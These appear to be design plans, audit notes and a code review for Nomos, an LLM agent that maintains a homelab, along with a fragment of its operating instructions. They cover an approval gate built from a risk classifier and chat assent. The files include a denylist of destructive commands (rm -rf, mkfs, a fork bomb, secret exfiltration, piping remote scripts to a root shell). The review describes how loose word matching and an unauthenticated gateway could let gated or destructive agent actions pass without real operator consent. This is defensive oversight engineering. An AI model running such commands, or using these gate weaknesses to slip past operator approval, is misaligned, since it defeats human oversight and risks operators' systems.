If you only write text and don't call the tool, the operator's "proceed" has
nothing to grant and you waste a turn.
**Approval is granted by the operator's next message, not just a button.** If
they reply "go ahead", "yes", "do it", "proceed" — that IS approval; the
system grants it automatically before your next turn starts, and you'll see a
`[System: ... approved via chat assent ...]` note confirming which
execution(s) were granted. You do not need to ask them to click Approve, and
you should not repeat the request after a clear yes — just acknowledge and
move on (check `get_execution_status` if you need the outcome before
replying). A destructive-risk action is never granted this way — if you see a
`[System: ... classified DESTRUCTIVE and were NOT approved ...]` note, tell
the operator explicitly that it needs a typed confirmation, don't just repeat
the request.
## Approval and the assent window
When the operator approves a plan (by replying "go ahead", "yes", "proceed"
in chat), the system:
1. Grants the pending execution(s) immediately.
2. Opens an **assent window** — a 30-minute period during which
`config_mutation` commands auto-run without re-approval. This means once
the operator has approved your plan, you can execute all the steps:
install packages, edit configs, start services, etc. — no need to stop and
re-ask for each step.
3. `read_only` commands always auto-run (no approval needed, no window).
4. `destructive` commands **never** auto-run via the general assent window —
they always need an explicit typed confirmation ("I confirm ...") or the
operator clicking Approve on a card that says DESTRUCTIVE.
5. **After that confirmation**, a short 15-minute window opens scoped to that
ONE target — further destructive commands against the SAME target auto-run
without asking again. This exists for multi-step destructive recovery
(e.g. a destroy failed because the container was still running: you need
`stop` then `destroy`, both destructive, same container — one confirmation
should cover finishing that sequence). A different target ALWAYS needs its
own fresh confirmation — the window never generalizes across targets.
**Your job after approval:** carry out the full plan. If a step fails, think
about why, try an alternative approach, and continue. Only surface to the
operator if:
- You hit a `destructive` action (needs typed confirmation).
- You're genuinely stuck (tried reasonable alternatives, none worked).
- The plan needs to change fundamentally (new decision the operator should weigh in on).
Do NOT stop after every step waiting for "continue". The operator approved
the plan — execute it end to end.
**Automatic continuation — you are re-invoked when async steps finish.** Some
steps (`pct_create`, `apt_upgrade`) run asynchronously: the tool returns
"execution &lt;id&gt; running" immediately, and the actual work (which can take
minutes) finishes later. **You do NOT need to poll `get_execution_status` in a
loop, and you do NOT need the operator to say "continue".** When such a step
finishes, the system automatically re-invokes you with a
`[System: execution &lt;id&gt; finished with status=…]` note carrying the result.
So: after you launch an async step, briefly say what you're doing and END your
turn — you will be woken up with the result and should then proceed to the next
step (on success) or diagnose and fix (on failure). Keep going, step by step,
until the whole goal is verified working — the loop only ends when you report
completion or hit a genuine blocker.
**When a step fails:** diagnose the error, try an alternative approach, and
continue. For example, if `docker: command not found` appears, install Docker
CE via `get.docker.com` and retry. If a package is missing, install it. If a
port is busy, find a free one. Only surface to the operator if you've tried
reasonable alternatives and none worked. An error in one step is not a reason
to stop the entire turn — it's a reason to try a different approach.
**Always end a turn with a clear outcome — never make the operator ask
"status?".** When you finish (or pause) a piece of work, your final message
must state the result plainly: what's now true, what you verified, what (if
anything) failed or remains. Don't end a turn silently or with just a tool
call and no summary — the operator can't see the tools working the way you
can, and a turn that ends without a status report reads as "nothing happened."
When the whole goal is done and verified, say so explicitly, `upsert_knowledge`
anything non-obvious you learned, and call `complete_task` with the outcome and
a one-line summary so the task board reflects the real result.
## Skills

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@@ -1,6 +1,10 @@
# 2026-07-08 — Control room web UI
**Status:** In Progress — N0-N3 (Nomos amendment: chat home + sessions), M1
**Status:** In Progress (audited 2026-07-11 — still accurate; remaining gaps:
`signal.acked`/`signal.resolved`/`signal.muted` and `relationship.created`/
`relationship.ended` API calls don't emit `observability.Event`, and
trusted-proxy header auth for Authentik was never added to `combinedAuth`).
N0-N3 (Nomos amendment: chat home + sessions), M1
(dashboard/summary, Overview, Entities table, live event feed, shadcn-svelte
component system), M2 (Operations ledger with approve/deny + cancel, Signals
page with ack/resolve/mute, live nav badges), and M3 (graph explorer with

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@@ -1,8 +1,8 @@
# 2026-07-08 — Liveness, drift, and UX cohesion
**Status:** Code complete for Phases 14 core scope; not yet deployed to the
live containers (pending explicit go-ahead — see below). Phase 5 partially
covered by pre-existing endpoints; full CRUD UI deferred.
**Status:** In Progress — Phases 14 code complete; not yet deployed. Phase 5 deferred.
(Audited 2026-07-11 — still accurate; prompt caching within Phase 4 also
confirmed not implemented.)
- **Phase 1 (drift/staleness):** done. Health/metrics/events misattribution
fix, staleness sweep, `/entities` health+freshness, dashboard/fleet-health

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@@ -1,6 +1,14 @@
# 2026-07-08 — Oikos gaps, broken things, and improvements
**Status:** Planned
**Status:** In Progress — audited 2026-07-11. Done: A1 (approval FK bug),
A3 (Hermes→Nomos help text), D1 (`upsert_knowledge`), D4-partial (general
`run` tool). Still open: A2 (notifier flooding/dedup), A4 (`resolveHost`
dead code), A5 (`queryRows` stringly-typed columns), A6 (stale
`get_state_snapshot` description), B1-B5 (enrollment auth, fake Infisical
creds, `/query` mesh-only auth unenforced, insecure host key checking,
optional `caller_pubkey`), D2/D3 (no `get_approval_status`/
`list_pending_approvals`/signal ack-resolve-mute tools), E (README tool
count, Caddyfile placeholders, NOMOS.md duplicate line).
## Goal

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@@ -0,0 +1,283 @@
# 2026-07-10 — General gated execution: from fixed actions to unlimited-but-gated
**Status:** In Progress — audited 2026-07-11. Done: `ClassifyCommand` risk
classifier, general `run` MCP tool, chat-assent approval (no button
required), blast radius on approval cards, session digest, global activity
feed (`Ops.svelte` "Executions" tab, risk-badged), Learning view
(success-rate trend). Still open: retire the fixed `request_execution`
action enum (`restart, systemctl, pct_exec, apt_upgrade, pct_create` still
hard-coded alongside `run`), and revive auto-act — `internal/actuator/actuator.go:125`
is still a literal `{"success": true, "message": "stub execution"}` stub.
## Goal
Make Nomos able to do **anything** needed to maintain the homelab — provision
LXCs, deploy services, debug, restart, fix configs, investigate — without that
capability being a fixed enum of hand-coded actions. The action space is
unlimited; the *gate* on it is a risk classifier + operator approval, not a
whitelist of tricks. Knowledge (the graph + runbooks) supplies the *how*; the
agent's reasoning supplies the *what*; the classifier supplies the *may I*.
Operator directive (2026-07-10): **"The number of actions the agent should be
able to do is unlimited. We need logic to gate destructive actions, but we
should not limit what the agent can do."**
Chosen autonomy posture for v1: **approve-most (cautious)** — only genuinely
read-only commands auto-run; anything that changes state requires operator
approval. We can relax later once the classifier and ledger have earned trust.
Operator directive #2 (2026-07-10): **"I want to see the system come alive and
learn and get better."** Observability is a first-class deliverable, not a
side-effect. As a user I must be able to see, in real time: what is being
executed, on what, and why; how it was classified and routed; what the outcome
was; and — crucially — **what knowledge the session created** (new runbooks,
patterns, resolved signals, ledger entries) so the system's growth is visible.
Operator directive #3 (2026-07-10): **approval is granted by chat assent, not a
button.** When Nomos proposes a plan/action and the operator replies "go ahead"
/ "yes" / "do it" in the chat, that assent *is* the approval. No separate
Approve button for the normal case. (Destructive actions still require an
explicit typed confirmation phrase — see Safety.)
## This is a realignment, not a new idea
[.agents/OIKOS.md](../.agents/OIKOS.md) already specifies this exact model:
> The classifier scores **risk class × blast radius × confidence** and routes:
> auto-act / escalate / queue. The classifier can only *lower* autonomy relative
> to policy, never raise it. When in doubt, escalate.
> Act — execute through `homelab` commands or **runbooks** (never ad-hoc SSH).
So the target architecture is the *documented* architecture. The problem is the
implementation diverged from it on the agent's action path.
## Gap analysis (grounded in code)
| Designed (OIKOS.md) | Actually implemented today |
|---|---|
| Classifier routes every action by risk × blast × confidence | [`internal/policy/classify.go`](../internal/policy/classify.go) `ClassifySignal()` only classifies **Signals** (the Observe pipeline), by entity+action-type. It is **not** called by the agent's mutation path. |
| Agent acts through unlimited **runbooks** | Agent acts through `request_execution` with a **hard-coded enum**: `restart, systemctl, pct_exec, apt_upgrade, pct_create` ([`internal/mcp/server.go`](../internal/mcp/server.go)), each bespoke Go, gated by per-action `if`s, not the classifier. New capability = new Go + redeploy. |
| Runbooks/skills are executable data | `skills` table + `.agents/skills/*` + `knowledge_entities` exist and are *readable* (`get_skills`), but **nothing executes a runbook**. The knowledge is inert w.r.t. action. |
| Auto-act loop consumes classified signals and acts | [`internal/actuator/actuator.go:124`](../internal/actuator/actuator.go) is a literal `"stub execution"` — it marks work done without doing it. |
| "Never ad-hoc SSH" | `pct_exec` **is** ad-hoc SSH (arbitrary shell in a container) and **auto-runs with no approval or classification**. |
Net: the elegant model exists as scaffolding (classifier, policy schema, risk
classes, blast-radius graph walks, skills-as-data, ledger, and the
approval+feedback plumbing hardened in the 2026-07-09/10 sessions), but the live
agent→action path is a bag of tricks that bypasses all of it. Everything added
in the recent LXC-deploy work (`pct_create` + DNS/VMID/template logic) made the
bag *bigger* — reliable, but on the wrong axis.
**Bones that already exist and get reused:** `internal/policy` (classifier +
`computeBlastRadius`/`blast_radius()` SQL), `risk_classes`/`action_risk` tables,
`seeds/policy.yaml`, `executions`/`approvals`/`audit_log`, the MCP SSH machinery,
and the inline approval + execution-status feedback loop (chat polls
`GET /executions/{id}`).
## Target architecture — three layers
### Layer 0 — one general gated primitive (the foundation)
Collapse the fixed enum into essentially one tool:
```
run(target, command, purpose, [declared_risk])
```
- `target` — any host or LXC slug; resolves to SSH (host) or `pct exec` (LXC).
- `command` — arbitrary shell.
- `purpose` — the agent's stated intent (shown to the operator, feeds classify).
- `declared_risk` — optional agent self-assessment.
Every call flows through:
1. **Classify** the command → `read_only | reversible_low | config_mutation |
destructive`. Rule-based:
- read-only **allowlist** (e.g. leading verb in `cat, ls, stat, journalctl,
systemctl status|is-active, pct config|status, df, free, uptime, ip, ss,
docker ps|logs, git status|log`) → `read_only`;
- destructive **denylist** (`rm -rf`, `dd`, `mkfs`, `wipefs`, `pct destroy`,
`qm destroy`, `shutdown`, `reboot`, `> /dev/`, `:(){ :|:& };:`, secret
exfiltration, piping remote scripts to a root shell) → `destructive`;
- anything writing state / installing / editing configs → `config_mutation`;
- **default → escalate** (`config_mutation`) when unsure.
The classifier may only make `declared_risk` **stricter**, never looser
(mirrors "can only lower autonomy, never raise").
2. **Route** (approve-most posture):
- `read_only` → auto-run + ledger, no approval.
- `reversible_low` / `config_mutation` → **operator approval via chat assent**
(v1 gates all state changes; a later posture can auto-run `reversible_low`).
- `destructive` → approval **+ typed confirmation phrase**.
3. **Execute** (existing SSH/`pct exec`), **verify** (optional check command),
**ledger** (`executions` + `audit_log`), **stream feedback to chat** (reuse
the `GET /executions/{id}` polling + `InlineApproval` phases already built).
### Approval by chat assent (replaces the Approve button)
The operator is already authenticated in the chat session, so their words are
the authorization — a separate button is redundant friction. Flow:
- Nomos proposes an action/plan; the gated `run` calls sit in `pending_approval`
(created in the same turn, tied to that turn's `correlation_id`).
- The operator's next message is checked for **assent** ("go ahead", "yes",
"do it", "proceed", "ship it") scoped to *that* proposal. On assent, the
pending approvals from that turn are granted and execute.
- Mechanism: Nomos detects assent and calls an `approve_pending(correlation_id)`
action; the backend flips the linked approvals → the existing
`executeApprovedAction` path runs. The **grant is recorded with the exact
operator message** that constituted assent (audit).
- Guards: assent only applies to approvals from the immediately-preceding turn
(no stale "yes" approving something old); ambiguous replies ("maybe",
"later", a follow-up question) do **not** grant — Nomos re-confirms;
**destructive** actions ignore loose assent and still require the typed
confirmation phrase.
- The inline UI still *shows* the pending action and its classification (so the
operator sees what they're assenting to) and reflects the grant — but the
primary path is "say yes," with the button demoted to an optional affordance.
Layer 0 alone delivers "the agent can attempt anything; state changes are gated."
### Layer 1 — runbooks as executable data (reliability without rigidity)
The hard-won procedures become **runbooks in the knowledge DB**, retrieved and
executed step-by-step via Layer 0 — not frozen Go:
- `pct_create` + its DNS-self-heal / VMID-collision / template-resolution /
locale logic becomes the canonical **"provision LXC" runbook** (parametric
steps the agent fills in and runs through `run`). The reliability survives as
documented, reusable steps rather than a compiled handler.
- New capability = **new runbook (data)**, no redeploy.
- Keep a *small* set of mechanical helpers where a shell step is genuinely
fiddly (e.g. "pick a free cluster VMID"), exposed as callable sub-tools — but
the flow is agent-driven, not enum-driven.
This is the crucial **both/and**: the general primitive is the unlimited escape
hatch; curated runbooks are the reliable fast-path so the agent doesn't
re-derive DNS/VMID/docker every time (the exact thing that failed repeatedly in
the 2026-07-09 sessions).
### Layer 2 — learning closes the loop
Successful ad-hoc `run` sequences get promoted into runbooks/patterns (the
`learning` engine + `skills` table already exist for this); the failure ledger
informs retries. The system grows more capable **as data**, not as code.
## Layer 3 — Observability: watch the system come alive
The user must *see* the OODA loop working, not just trust it. Four surfaces,
built on data the loop already produces (`executions`, `audit_log`, `signals`,
`skills`, `knowledge_entities`) — the job is to make it visible, live, and
legible, not to invent new telemetry.
**1. Live action feed (in the chat turn).** Every `run` renders a card as it
happens: `target` · `purpose` · **risk badge** (green read-only / amber
config / red destructive) · status (queued → running → ok/failed) · collapsible
output. Streams in real time (SSE, extend the existing execution-status feed).
The operator watches Nomos *work*, step by step, with the reasoning (`purpose`)
and the classifier's verdict on every step.
**2. "What this session did" digest.** At the end of a task/turn, a summary
card: N commands (X auto / Y assented / Z denied), entities changed (linked),
signals resolved, and **knowledge created** — new/updated runbooks, patterns
promoted, notes written — each linked to its record. This is the "what did the
agent actually change and learn" answer in one glance.
**3. The learning view — "the system is getting better."** A dedicated page:
runbooks and their **success-rate trend**, newly promoted skills, pattern
confidence (Wilson bounds already computed by the learning engine), recent
auto-acts that succeeded unattended, and a **capability timeline** ("2026-07-11:
learned to deploy Compose stacks; success 4/4"). Growth made tangible.
**4. Global activity/ledger stream.** A live feed of every action across the
fleet — command, target, classification, decision (auto / assented-by-whom),
outcome — the audit log rendered as a heartbeat. Filterable by entity, risk,
outcome.
These reuse existing tables; the work is API endpoints + SSE fan-out + Svelte
views, plus writing knowledge-creation events into the ledger so the digest has
something to show.
## Safety model (the whole point of the gate)
- **Default-escalate.** Nothing is *forbidden*; risky things need the operator's
"yes." Unknown/unparseable risk → approval.
- **Hard denylist** for catastrophic patterns → always typed confirmation, even
if the agent declared them safe.
- **Blast radius at approval time** — graph walk (`blast_radius()` exists):
"this restarts caddy → 8 downstream services."
- **Preview / dry-run** where the command supports it.
- **Kill-switch** (`global.auto_act`, per-target `never_auto_act.*`) already
exists; extend to a global "require approval for everything" flip.
- **Full audit ledger** — every command, its classification, decision, actor,
output. Non-negotiable.
- **Scope guards** — resolve `target` to a real entity first; refuse commands
against `destroyed`/unknown targets; cap output size (already done).
## Honest risks / tradeoffs
- Trades a small vetted surface (5 actions) for arbitrary root across the fleet,
LLM-driven, gated only by classifier + approval. Classifying arbitrary shell
perfectly is impossible; **default-escalate + hard denylist + always-on audit**
is the mitigation, not perfect classification.
- Approve-most means more operator clicks initially. Acceptable while trust is
built; the posture is a config knob, not a rewrite.
- Runbook-as-data can drift from reality like any doc; the ledger + verify step
+ learning loop are the correction mechanism.
## Migration path (incremental, each step shippable)
1. **Command classifier** — extend `internal/policy` with
`ClassifyCommand(cmd, declaredRisk) → riskClass` (allowlist/denylist/default-
escalate + can-only-escalate rule). Unit-tested against a corpus of safe /
mutating / catastrophic commands.
2. **`run` tool** — new MCP tool routing classify → gate → execute → the
existing feedback path. Ship alongside the current tools (no removal yet).
3. **Live action feed (UI)** — render each `run` as a streaming card in chat:
purpose, target, risk badge, status, output. This is the first "come alive"
win and validates the SSE fan-out.
4. **Chat-assent approval** — assent detection scoped to the last turn's
`correlation_id` → `approve_pending`; grant records the operator's message;
destructive still needs the typed phrase. Demote the Approve button.
5. **Approval context** — surface risk class + blast radius + purpose inline so
the operator sees what they're assenting to.
6. **Session digest + activity stream (UI)** — "what this session did / created"
card and the global ledger feed; write knowledge-creation events to the
ledger so there's something to show.
7. **Runbook execution** — a "provision LXC" runbook (ports the current
`pct_create` logic) executed via `run`; validate parity with today's handler.
8. **Learning view (UI)** — runbook success-rate trends, promoted skills,
capability timeline.
9. **Retire the enum** — convert remaining hard-coded actions to runbooks; make
`request_execution` a thin deprecated alias or remove it.
10. **Revive auto-act** — replace the actuator stub, reusing the *same*
classifier for the Observe→Act direction (signals), still approve-most.
## Verification
- Classifier corpus test: read-only commands auto-pass; a set of known
catastrophic commands always route to destructive+confirmation; ambiguous
commands escalate. No command auto-runs that mutates state.
- End-to-end: operator asks Nomos a novel task **not** in the old enum (e.g.
"tail caddy's error log and restart it if it's flapping"); Nomos composes
`run` calls; read-only steps auto-run and **stream as live cards**; the restart
gates; the operator types "go ahead" and the restart executes (no button);
ledger records each command + classification + the assent message.
- Observability: the session ends with a digest listing what ran, what changed,
and any knowledge created; the learning view shows the run's contribution.
- Parity: "provision an LXC with a service" via the runbook path matches the
reliability proven for the `pct_create` handler (free VMID, DNS, install,
verify), then destroy.
## Open questions for the operator
- **Reversible-low posture:** keep gating restarts/syncs in v1 (chosen), or
auto-run them once the classifier is trusted?
- **Confirmation phrase:** per-action typed phrase for destructive, or a global
one? (Assent covers non-destructive; destructive keeps the typed phrase.)
- **Assent detection:** rule/keyword match, or let the model judge assent (with
a re-confirm on ambiguity)? How strict — does "yeah do the restart but not the
upgrade" partially grant?
- **Runbook authorship:** operator-authored only, or may Nomos propose new
runbooks (subject to approval) from successful ad-hoc sequences?
- **Blast-radius threshold:** should a large blast radius force approval even for
otherwise-reversible actions?

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# 2026-07-11 — Nomos agent code review: gaps and improvement plan
**Status:** In Progress — 2026-07-11. Every finding except C1 (A1-A3, B1-B3,
D1-D3, E, F1) is fixed, tested, and verified live against the running stack.
C1 (unauthenticated nomos gateway) is explicitly deferred per operator
instruction ("leave auth out for these round of fixes") — the one item
keeping this out of `done/`.
- A1 `3919ec3`, B1+B2 `c5ffaec`, A3 `926969a`, D1-D3 `76f7630`,
A2 `c390164`, B3 `6d4f6de`, F1 `11c18e8`.
- New `internal/safego` package (B1) and `cmd/nomos/store_test.go` (A2, plus
a regression test for the earlier plan-append fix) are the first automated
tests for any of this package's core logic — closing part of finding E,
though full coverage of agent.go/main.go remains future work.
- C1 remains open — nomos's gateway (port 8092) still has no authentication.
Revisit separately.
## Scope
A full read-through of `cmd/nomos/` (agent.go, store.go, main.go, continue.go,
assent.go, tasks.go — 3,120 lines) plus targeted checks of its HTTP exposure,
goroutine safety, and test coverage. Every finding below is grounded in a
specific file:line or a runnable reproduction — two of the sharper ones
(A1, A2) were empirically confirmed with throwaway test probes before being
written up, not just read and assumed.
This is a review, not an implementation — findings are ranked by severity with
a proposed fix per item; nothing here has been changed yet.
---
## A. Correctness bugs (confirmed, not theoretical)
### A1. Chat-assent word matching has real substring false positives
[assent.go:73-103](../cmd/nomos/assent.go). `isAssent`/`isTypedConfirmation`
pad the message with spaces and word-boundary-check the **negation** list
(`strings.Contains(m, " "+w+" ")`), but the **assent**/**confirm** checks use
bare `strings.Contains(m, w)` — no word boundary at all. Confirmed live via a
test probe:
- `isAssent("not sure, maybe yesterday's logs show something useful")`
**`true`** (`"yes"` matches inside `"yesterday"`; `"not"` alone isn't in
`negationWords`, only the phrase `"not yet"` is).
- `isTypedConfirmation("I haven't confirmed anything yet, let me think")`
**`true`** (`"confirm"` matches inside `"confirmed"`; `"haven't"` isn't in
`negationWords`, which only has `"don't"`/`"do not"`, not other contracted
negatives).
The second one is the serious half: `isTypedConfirmation` is the **sole gate
for DESTRUCTIVE actions** ([agent.go:220-223](../cmd/nomos/agent.go)) — a
message that merely *mentions* not having confirmed something yet can read as
an explicit confirmation.
**Fix:** apply the same space-padded word-boundary check to the assent/confirm
word lists that negation already uses. Expand `negationWords` to cover
contracted negatives (`haven't`, `hasn't`, `isn't`, `wasn't`, `can't`,
`won't`, `not` as a standalone word, not just `"not yet"`). Add both
reproduced cases as permanent regression tests in `assent_test.go`.
### A2. Unbounded conversation history replay — no windowing, no token budget
[agent.go:185-207](../cmd/nomos/agent.go): every single turn (`chatWith`)
calls `a.store.getMessages(ctx, sessionID)` — [store.go:218-239](../cmd/nomos/store.go),
`SELECT ... WHERE session_id=$1 ORDER BY created_at ASC` with **no `LIMIT`,
no windowing, no summarization** — and replays the *entire* history into the
LLM call every time. `truncateToolResults` ([store.go:152-185](../cmd/nomos/store.go))
caps each individual tool **result** at 4KB, but caps nothing else: not tool
**args**, not the number of tool calls in one message, not the total message
count, not total tokens.
This isn't theoretical — an earlier production audit (see
[chat-sessions-improvements](done/2026-07-09-chat-sessions-improvements.md))
found a single turn with **70 tool calls** and messages up to **106KB**. Every
subsequent turn of a long-running or heavily-autonomous task (exactly what
auto-continuation is built for) re-sends that ever-growing history in full.
This is a real cost, latency, and eventual context-length-limit risk that
compounds specifically for the tasks the system is designed to run longest.
**Fix:** at minimum, cap replayed history to the most recent N messages or a
token budget, with older turns either dropped or collapsed into a short
system-message summary (`finalSummary`'s existing one-shot summarization
pattern, [agent.go:481-492](../cmd/nomos/agent.go), could be reused for this).
Needs a decision on where the cutoff lives (see open questions).
### A3. A live turn's tool-call history is lost entirely if the client disconnects mid-stream
[main.go handleChat](../cmd/nomos/main.go): `toolCalls`/`finalText` accumulate
only in local closure variables; `st.saveMessage(...)` runs exactly **once**,
after `a.chat(...)` returns, using `ctx := r.Context()` — the *same* context
that cancels the instant the client disconnects (Stop button, tab close,
network blip). If `a.chat` returns early because that context was cancelled,
the final `saveMessage` call runs with an already-cancelled context and its
error return is never checked — the whole turn's tool-call history (already
real: executions launched, knowledge possibly written) is silently lost from
the persisted transcript.
Contrast with `resumeSession`/`continueSession` ([continue.go:96-166](../cmd/nomos/continue.go)),
which insert a placeholder row immediately and update it after every single
tool call — exactly the incremental-persistence pattern `handleChat` lacks.
Verified live this session: my own Stop-button test showed the turn's actual
tool calls (6 of them) *were* visible in the UI only because the SSE stream
had already pushed them to the browser's in-memory store before the abort —
none of that would have survived a page reload, since nothing was persisted.
**Fix:** bring `handleChat` in line with `resumeSession`'s pattern — insert a
placeholder row before the turn starts, update it after each tool call using
a context *not* tied to the client connection for the write itself (or at
minimum, persist with `context.Background()` in a deferred cleanup so a
cancelled request context doesn't take the DB write down with it).
---
## B. Robustness
### B1. Zero panic recovery on any background goroutine
Every explicitly-spawned goroutine across the agent surface has no
`recover()`:
```
cmd/nomos/main.go:78 go nAgent.runContinuationWorker(ctx)
cmd/nomos/main.go:80 go func() { ...sweep ticker... }()
cmd/nomos/main.go:117 go func() { ...http server... }()
cmd/nomos/main.go:347 go a.resumeSession(context.Background(), sessionID, note)
internal/mcp/server.go:477,495 go executeApprovedViaAPI(...)
internal/mcp/server.go:1134 go func() { ... }()
internal/httpapi/phase3.go:119,1456
internal/httpapi/server.go:81,533
```
`grep -rn "recover()" cmd/nomos/ internal/mcp/ internal/httpapi/` returns
nothing. Go's default behavior for a panic in *any* goroutine — not just the
one handling an HTTP request, which the stdlib does recover — is to crash the
**entire process**. `runContinuationWorker` and `resumeSession` in particular
run complex, unattended agent logic (JSON unmarshaling of model output, tool
result parsing, map/slice indexing) with no operator watching; a single edge
case (a malformed tool result, an unexpected nil) takes down nomos for
**every concurrently-running task**, not just the one that hit it. This is
more consequential post-concurrency (today's work): more simultaneous
unattended goroutines running agent code means more surface area for one bad
input to end everyone's session.
**Fix:** wrap every explicitly-spawned goroutine body in a `defer func() {
if r := recover(); r != nil { slog.Error(...) } }()`. A small helper
(`safeGo(func())`) would make this consistent and hard to forget at new call
sites.
### B2. Auto-continuation processes its batch sequentially, one full turn at a time
[continue.go:58-75](../cmd/nomos/continue.go): `processContinuations` fetches
up to 5 pending items and runs `a.continueSession(ctx, p)` for each **in a
plain `for` loop**, in the single `runContinuationWorker` goroutine. Each
`continueSession` is a full LLM turn that can run for minutes (10-minute
timeout, [continue.go:134](../cmd/nomos/continue.go)). If 3 different tasks'
executions finish in the same 4-second tick, task #3's continuation waits for
#1 and #2 to *completely finish* first — undercutting today's whole
concurrency effort specifically on the auto-continuation path, which is the
mechanism autonomous multi-step tasks depend on most.
**Fix:** spawn each pending continuation as its own goroutine (with B1's
panic recovery), bounded by a small semaphore if unbounded parallelism here
is a concern.
### B3. No terminal state for a permanently-failed auto-continuation
[continue.go:162-165](../cmd/nomos/continue.go): if the resumed LLM call
errors on both the initial attempt and its one retry, the code logs an error
and returns — the task is left in whatever status it was in (typically
`executing`), with no outcome set and no operator-visible signal beyond an
inert message buried in the transcript. There's no give-up-after-N-retries or
dead-letter marking; the task just looks silently stuck.
**Fix:** on final failure, call the same path `complete_task` would use to set
`outcome='failure'` with a summary explaining the resume failed, so the task
board reflects reality instead of showing a task that looks perpetually
"executing."
---
## C. Security
### C1. Nomos's own HTTP gateway has zero authentication
[docker-compose.yml:133](../docker-compose.yml) publishes port 8092 directly
(`"8092:8092"`, comment: *"mesh-published"*) and
[Caddyfile.oikos](../compose/caddy/Caddyfile.oikos:19,34) reverse-proxies to
it from two routes. `grep -n "Authorization\|Bearer\|auth" cmd/nomos/main.go`
returns **nothing**`/chat`, `/sessions`, `/sessions/{id}` (including
`DELETE`), and `/query` have no credential check of any kind. Anyone who can
reach the LAN or mesh network can converse with Nomos directly: start tasks,
read/delete any session, answer pending questions, and — via chat-assent —
approve gated executions by typing "yes" or "I confirm" to whatever the agent
proposes, with no authentication at all. This is the same class of gap
[oikos-gaps-and-improvements](2026-07-08-oikos-gaps-and-improvements.md)
flagged for the `api`/MCP surface (items B1-B5), but specifically for nomos's
*own* port, which doesn't sit behind `combinedAuth` the way `api`'s routes do.
**Fix:** put nomos's gateway behind the same auth the `api` process uses
(shared bearer token check at minimum), or stop publishing 8092 directly and
route all traffic through the already-authenticated `api` proxy exclusively.
---
## D. Code quality
### D1. Dead code: `isTaskTool` is defined, never called
[tasks.go:139-146](../cmd/nomos/tasks.go). The actual dispatch in
[agent.go:370](../cmd/nomos/agent.go) calls `a.handleTaskTool(...)` directly
and checks its `handled` return value — `isTaskTool` is unused.
**Fix:** delete it, or use it in `buildTools`/dispatch if a cheaper
pre-check is actually wanted.
### D2. N+1 query in `recordTouched`
[store.go:720-742](../cmd/nomos/store.go): loops over every slug found in a
tool call's args and issues a separate `SELECT id, type FROM entities WHERE
slug = $1` per slug. Fine for the common case (1-3 slugs) but doesn't batch
for tool calls naming many entities.
**Fix:** one `SELECT id, slug, type FROM entities WHERE slug = ANY($1)` for
all collected slugs, then loop over the results in memory.
### D3. `complete_task`'s outcome isn't validated
[tasks.go:248-257](../cmd/nomos/tasks.go) declares an `enum` in the tool
schema (`success|failure|partial`) but [store.go:428-457](../cmd/nomos/store.go)
never checks it — an out-of-enum value (a model typo, or a weaker model not
respecting the schema) silently persists as-is; only `"failure"` is
special-cased (else `status="done"`), so a stray value still "completes" the
task but with a value the frontend's status/outcome rendering doesn't
recognize.
**Fix:** validate against the three allowed values in `handleTaskTool` before
calling `store.completeTask`, defaulting unrecognized values to `"partial"`
(safer than silently treating them as `"success"`).
---
## E. Test coverage
**Zero automated tests exist for `agent.go`, `store.go`, `main.go`, or
`tasks.go`.** Only `assent.go`'s and `continue.go`'s pure string-parsing
helpers have unit tests (`assent_test.go`, `continue_test.go`) — confirmed by
`grep -l "func Test" cmd/nomos/*.go` matching only those two files. This means
today's session added substantial new, safety-critical logic — session-scoped
assent/destructive windows, the `mcpClientPool`'s creation-race handling and
eviction sweep, `proposePlan`'s replace-vs-append branching — verified only by
live manual testing (curl + browser), with **no regression protection**
against a future change silently reintroducing the cross-task assent bleed or
breaking the pool's session isolation.
**Fix (highest-value additions first):**
1. `store_test.go`: `proposePlan`'s append-vs-replace branch (the exact bug
fixed earlier today) — needs a real DB (integration-style, matching
`internal/db/integration_test.go`'s pattern) or a query-mocking layer.
2. `main_test.go`: `mcpClientPool.get()`'s concurrent-creation race path (two
goroutines racing to create a client for the same new session id) and
`sweep()`'s eviction logic — these are pure in-memory logic, no DB needed,
straightforward to unit test.
3. `assent_test.go`: the two confirmed false-positive cases from A1.
---
## F. Efficiency (minor)
### F1. Tool list + fleet snapshot re-fetched every single turn
[agent.go:174,181](../cmd/nomos/agent.go): `buildTools` (`tools/list` MCP
round-trip) and `fleetSnapshot` (`get_health_summary` call) both run at the
start of **every** `chatWith` call — including auto-continuation resumes,
which can fire many times per task. The tool list changes only on an `api`
process restart; the fleet snapshot is a live "as of now" read, which is
arguably the point of it, but re-fetching the *tool list* every turn is
avoidable.
**Fix:** cache `buildTools`' result (e.g., in `mcpClientPool`, invalidated on
a client's re-initialize) — worth doing only if profiling shows it matters;
low priority relative to A-C.
---
## Implementation order
1. **A1** (assent false positives) — smallest, highest-severity-per-line-of-
code fix; ships with regression tests same-PR.
2. **C1** (unauthenticated gateway) — security-critical, independent of
everything else here.
3. **B1** (panic recovery) — cheap, broad safety net; do before B2 touches the
continuation worker's goroutine structure anyway.
4. **B2** (parallel auto-continuation) — natural follow-on to B1 since it's
restructuring the same goroutine.
5. **A3** (incremental persistence for live turns) — moderate effort, real
user-visible correctness gain.
6. **D1-D3** (small cleanups) — bundle together, low risk.
7. **A2** (history windowing) — needs a design decision (see below) before
implementation; largest single change.
8. **B3**, **F1** — lower urgency, do opportunistically.
9. **E** (tests) — ideally lands alongside each fix above (A1's tests with
A1, etc.) rather than as one giant deferred test-writing pass.
## Verification
- **A1**: the two probe cases (`isAssent` on the "yesterday" message,
`isTypedConfirmation` on the "haven't confirmed" message) become permanent
tests in `assent_test.go`, asserting `false` post-fix.
- **A2**: after adding windowing, replay a session with 70+ tool calls (the
documented production case) and confirm the message payload sent to the LLM
stays under a fixed token/byte ceiling regardless of session length.
- **A3**: reproduce the Stop-button-mid-turn scenario, reload the page, and
confirm the tool calls made before the abort are still present in the
persisted transcript (currently: they vanish).
- **B1**: inject a deliberate panic in a test build of `resumeSession` (or a
fault-injection flag), confirm the process survives and logs the recovered
panic instead of exiting.
- **C1**: confirm an unauthenticated `curl` to nomos's `/chat` from off-mesh
is rejected once auth lands (currently: succeeds).
- **D1-D3**: `go vet`/build clean, `complete_task` with a bogus outcome value
now rejected or defaulted rather than silently persisted.
## Open questions
- **A2's cutoff mechanism**: a fixed N-message window, a token-budget-aware
trim, or LLM-summarization of dropped history? Summarization preserves the
most context but costs an extra LLM call per trim; a fixed window is
simplest but could drop something the agent still needs mid-task. Leaning
